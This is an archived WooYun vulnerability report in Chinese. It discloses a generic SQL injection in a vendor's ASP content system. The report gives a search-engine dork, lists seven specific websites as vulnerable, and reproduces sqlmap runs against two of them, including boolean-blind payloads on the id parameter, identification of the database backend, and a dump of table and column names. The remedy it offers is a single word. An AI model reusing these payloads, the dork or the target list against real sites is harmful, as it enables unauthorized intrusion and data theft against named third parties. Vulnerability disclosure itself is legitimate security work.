漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-090499
漏洞标题：某系统通用型SQL注入
相关厂商：普诺德
漏洞作者： 路人甲
提交时间：2015-01-09 12:31
修复时间：2015-04-13 16:58
公开时间：2015-04-13 16:58
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-01-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-04-13： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
SQL注入
详细说明：
SQL注入！
漏洞证明：
关键字:inurl:/htdocs/epages.asp
相关厂商:普诺德网络技术支持
站点:
http://www.quantec.cn/htdocs/epages.asp?id=15
http://www.mystextile.com/htdocs/epages.asp?id=4
http://www.dszhnyw.com/htdocs/epages.asp?id=56
http://www.yaowahugolf.com/htdocs/epages.asp?id=24
http://www.focustrading.cn/htdocs/epages.asp?id=12
http://www.sbjbtc.com/htdocs/epages.asp?id=16
http://showtimedisplay.com.cn/htdocs/epages.asp?id=10
测试站点:http://www.quantec.cn/htdocs/epages.asp?id=15
sqlmap identified the following injection points with a total of 74 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=15 AND 2777=2777
---
[18:34:59] [INFO] testing MySQL
[18:34:59] [WARNING] the back-end DBMS is not MySQL
[18:34:59] [INFO] testing Oracle
[18:35:00] [WARNING] the back-end DBMS is not Oracle
[18:35:00] [INFO] testing PostgreSQL
[18:35:00] [WARNING] the back-end DBMS is not PostgreSQL
[18:35:00] [INFO] testing Microsoft SQL Server
[18:35:01] [WARNING] the back-end DBMS is not Microsoft SQL Server
[18:35:01] [INFO] testing SQLite
[18:35:01] [WARNING] the back-end DBMS is not SQLite
[18:35:01] [INFO] testing Microsoft Access
[18:35:01] [INFO] confirming Microsoft Access
[18:35:02] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[18:35:02] [INFO] fetched data logged to text files under 'E:\Python27\YuShen\ou
tput\www.quantec.cn'
测试站点:http://www.dszhnyw.com/htdocs/epages.asp?id=56
sqlmap identified the following injection points with a total of 74 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=56 AND 2706=2706
---
[18:36:09] [INFO] testing MySQL
[18:36:10] [WARNING] the back-end DBMS is not MySQL
[18:36:10] [INFO] testing Oracle
[18:36:10] [WARNING] the back-end DBMS is not Oracle
[18:36:10] [INFO] testing PostgreSQL
[18:36:11] [WARNING] the back-end DBMS is not PostgreSQL
[18:36:11] [INFO] testing Microsoft SQL Server
[18:36:11] [WARNING] the back-end DBMS is not Microsoft SQL Server
[18:36:11] [INFO] testing SQLite
[18:36:12] [WARNING] the back-end DBMS is not SQLite
[18:36:12] [INFO] testing Microsoft Access
[18:36:12] [INFO] confirming Microsoft Access
[18:36:13] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[18:36:13] [INFO] fetched data logged to text files under 'E:\Python27\YuShen\ou
tput\www.dszhnyw.com'
Database: Microsoft_Access_masterdb
[4 tables]
+--------+
| city |
| db |
| member |
| sort |
+--------+
Database: Microsoft_Access_masterdb
Table: db
[7 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| company | non-numeric |
| content | non-numeric |
| email | non-numeric |
| id | numeric |
| old | non-numeric |
| pid | numeric |
| website | non-numeric |
+---------+-------------+
等就不多一一跑了!存在注入的！
修复方案：
过滤！
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝